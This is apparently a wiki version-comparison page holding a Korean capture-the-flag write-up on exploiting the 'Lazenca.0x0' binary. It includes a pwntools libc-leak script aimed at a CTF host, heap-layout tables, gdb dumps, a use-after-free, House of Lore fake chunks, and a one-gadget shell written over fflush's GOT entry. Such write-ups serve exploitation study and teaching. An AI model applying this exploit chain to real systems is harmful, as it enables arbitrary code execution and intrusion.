Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 해당 함수는 다음과 같은 구조체를 사용합니다.
Code Block
languagecpp
titleStruct IDPW, ACCOUNT
struct IDPW{
    long empty[2];
    char id[8];
    char pw[8];
    long state;
    char description[88];
};

struct ACCOUNT{
    long state;
    long number;
    struct IDPW *fd;
    long bk;
};

...

Code Block
languagecpp
titlestruct STOCK
struct STOCK{
    char candyName[8];
    unsigned int  candyNumber;
    unsigned int  candyPrice;
    char *candyDescription;
};

setBoard()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 malloc() 함수를

      이용해 1200

      이용해 1200 byte의 Heap 영역을

      할당 받습니다

      할당 받습니다.

    • 해당 함수는 해당 영역에 사용자로 부터 값을 입력 받아 저장합니다.

Code Block
languagecpp
titlesetBoard()
unsigned __int64 setBoard()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  puts("Please enter a comment for candy.");
  board = (__int64)malloc(1200uLL);
  UserInput(board, 1200LL);
  return __readfsqword(0x28u) ^ v0;
}

...

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 해당 함수는 전역 변수 "gAccount[i].state"를 이용해 비밀번호 변경이 가능한 계정을 출력합니다.

    • 해당 함수는 사용자로 부터 비밀번호를 변경할 계정의 번호를 입력 받습니다.

    • 해당 함수는 해당 계정의 'gAccount[].fd.state' 영역에 저장된 값이 '0'이 아닐 경우 비밀번호를 변경할 수 있습니다.

...

Panel
titleHeap area structure

AddressStateHeap sizefdbk
Order list[0]0xa175e0A0x20NoneNone
Order list[2]0xa17600

A

0x20NoneNone
창고에 저장된 사탕 & 사탕 설명(Unsorted bin)

0xa17620

F0x90

0x7ff5052a2c18

0x7ff5052a2c18

Order list[1]

0xa176b0

A0x20NoneNone
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
  • 다음과 같은 스크립트를 이용해 Libc address를 추출 할 수 있습니다.
Code Block
languagepy
titleLeakLibcAddress.py
from pwn import *
#context.log_level = 'debug'

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def setOrderlist(num):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)

bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')

...

  • 다음과 같이 "gAccount[1].fd" 영역에 할당되었던 공간을 "dest->candyDescription"영역에 재할당 받아야 합니다.
    • 동일한 영역을 할당받기 위해 미리 Heap 구조를 설계해야 합니다.

      • Order list의 0번째 사탕 취소

      • 사탕 주문 완료
    • 2개의 새로운 계정을 생성합니다.
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x200x0None
Order list[2]0xa17600

F

0x20NoneNone
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

0xa17600

None

Order list[1]

0xa176b0

F0x20NoneNone
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd0xA17B90A0x90NoneNone
gAccount[2].fd0xA17c20A0x90NoneNone
  • 다음과 같이 House of lore에 필요한 Fake chunk를 생성할 수 있습니다.
    • 생성한 계정을 이용해 다음과 같이 충전이 필요합니다.
      • 2번째 계정 : 6308456(0x604268)
      • 3번째 계정 : 6308416(0x604240)
    • 2번째 계정을 삭제 합니다.
  • 다음과 같은 gAccount[] 구조를 가지게 됩니다.
Code Block
titledebugging
gdb-peda$ x/8gx 0x604240
0x604240:	0x0000000000000000	0x0000000000000002
0x604250:	0x0000000001a08b90	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
0x604270:	0x0000000001a08c30	0x0000000000604240
gdb-peda$
Panel
titlegAccount area structure
0x604240gAccount[1].stategAccount[1].number
0x604250gAccount[1].fd = 0xA17B90gAccount[1].bk = 0x604268
0x604260gAccount[2].stategAccount[2].number
0x604270gAccount[2].fdgAccount[2].bk = 0x604240

...

Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0xa17630         	0x20                 Freed     			  0x0    		   None
0xa17620            0x100006567         0x90                 Used      			 None    		   None
0xa176b0            0x90                0x20                 Freed           0xa17600              None
0xa176d0            0x100006567         0x4c0                Used                None              None
0xa17b90            0x0			        0x90                 Freed     0x7ff5052a2b78              0x7ff5052a2b78
0xa17c20            0x90         		0x90                 Used                None              None
gdb-peda$ 
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x20NoneNone
Order list[2]0xa17600

F

0x200x0None
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

None

None

Order list[1]

0xa176b0

F0x200xa17600None
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd(Unsortbin)0xA17B90F0x90

0x7ff5052a2b78

0x7ff5052a2b78
gAccount[2].fd0xA17c20A0x90NoneNone

...

  • 우선 공격자는 bk 영역을 덮어 쓰기 위해서 다음과 같이 "gAccount[1].fd→state"의 값을 조작해야 합니다.
  • 공격자는 다음과 같이 UAF 취약성을 사용할 수 있습니다.
    • Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
      • 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
        • 해당 영역에 16이상의 문자를 저장합니다.
    • 다음과 같이 "gAccount[1].fd→state" 값을 변경됩니다.
Code Block
titledebugging
gdb-peda$ x/6gx 0x0000000002593b90
0xA17B90:	0x0000000000000000	0x0000000000000091
0xa17ba0:	0x4141414141414141	0x4141414141414141
0xa17bb0:	0x4141414141414141	0x0000000000000000
gdb-peda$ 
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x20NoneNone
Order list[0]0xa17600

A

0x20NoneNone
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

None

None

창고에 저장된 1번 사탕 정보

0xa176b0

F0x200x0None
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
창고에 저장된 1번 사탕 설명0xA17B90A0x90

None

None
gAccount[2].fd0xA17c20A0x90NoneNone
  • 다음과 같이 1번 사탕을 구매하여 0xA17B90 영역이 Smallbin에 등록되도록 합니다.

    • 0xA17B90 영역이 Smallbin[16], [17]에 등록되었습니다.

Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0xa17630         	0x20                 Freed     0x7ff5052a2b88    	   0xa176b0
0xa17620            0x100006567         0x90                 Used      			 None    		   None
0xa176b0            0x90                0x20                 Freed           0xa17600    0x7ff5052a2b88
0xa176d0            0x100006567         0x4c0                Used                None              None
0xa17b90            0x0			        0x90                 Freed     0x7ff5052a2bf8	 0x7ff5052a2bf8
0xa17c20            0x90         		0x90                 Used                None              None
0xa17cb0            0x90         		0x4c0                Used                None              None
gdb-peda$ p main_arena.bins[16]
$1 = (mchunkptr) 0xa17b90
gdb-peda$ p main_arena.bins[17]
$2 = (mchunkptr) 0xa17b90
gdb-peda$ 
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 정보0xa175e0A0x20NoneNone
Order list[0]0xa17600

A

0x200x7ff5052a2b880xa176b0
창고에 저장된 0번 사탕 설명

0xa17620

A0x90

None

None

창고에 저장된 1번 사탕 정보

0xa176b0

F0x200xa176b00x7ff5052a2b88
구매한 사탕 평가

0xa176d0

A0x4c0NoneNone
창고에 저장된 1번 사탕 설명0xA17B90A0x90

0x7ff5052a2bf8

0x7ff5052a2bf8
gAccount[2].fd0xA17c20A0x90NoneNone
구매한 사탕 평가

0xa17cb0

A0x4c0NoneNone
  • 다음과 같이 2번 계정의 비밀번호 변경을 통해 bk영역의 값을 계속 변경 할 수있습니다.
    • bk 영역에 첫번째 Fake chunk 의 시작 주소를 저장하였습니다.
Code Block
titledebugging
gdb-peda$ x/6gx 0x9d4b90
0xA17B90:	0x0000000000000000	0x0000000000000091
0xa17ba0:	0x00007f91951a6bf8	0x0000000000604240
0xa17bb0:	0x4141414141414141	0x0000000000000000
gdb-peda$ 
  • 다음과 같은 방법으로 main_arena.bins[17] 영역에 gAccount[1]의 주소 값을 저장 할 수 있습니다.
    • 공격자는 Order list에 사탕을 추가하고, 주문을 완료합니다.
Code Block
titleOverwrite Smallbin bk
gdb-peda$ p main_arena.bins[16]
$3 = (mchunkptr) 0xA17B90
gdb-peda$ p main_arena.bins[17]
$4 = (mchunkptr) 0x604240
gdb-peda$ 
  • 다음과 같이 gAccount[] 영역을 할당 받을 수 있습니다.
    • 조금 전에 추가한 사탕을 모두 구매합니다.
    • 공격자는 Order list에 사탕을 추가하고, 주문을 완료합니다.
      • 이때 캔디 설명을 입력 받는 영역으로 gAccount[1].fd영역이 할당됩니다.
      • 다음과 같은 방법으로 원하는 영역의 값을 변경 할 수 있습니다.
        • gAccount[1].fd = "접근을 원하는 영역의 주소" - 0x18
        • 2번째 계정의 비밀번호 변경을 사용해 "접근을 원하는 영역"에 사용자 입력값을 저장할 수 있습니다.
Code Block
titleOverwrite gAccount[1].fd
Breakpoint 1, 0x000000000040123a in ?? ()
gdb-peda$ ni
0x000000000040123f in ?? ()
gdb-peda$ i r rax
rax            0x604250	0x604250
gdb-peda$ x/4gx 0x604250
0x604250:	0x00007f070160bbf8	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
Breakpoint 2, 0x000000000040125f in ?? ()
gdb-peda$ x/4gx 0x604250
0x604250:	0x0a41414141414141	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
gdb-peda$ 

...

  • 다음과 같은 One Gadget을 사용할 수 있습니다.
    • 해당 Gadget을 fflush.got영역에 덮어쓰면 Shell을 획득 할 수 있습니다.

Code Block
titleOne Gadget
.text:00000000000F0274                 mov     rax, cs:environ_ptr_0
.text:00000000000F027B                 lea     rsi, [rsp+1B8h+var_168]
.text:00000000000F0280                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F0287                 mov     rdx, [rax]
.text:00000000000F028A                 call    execve

...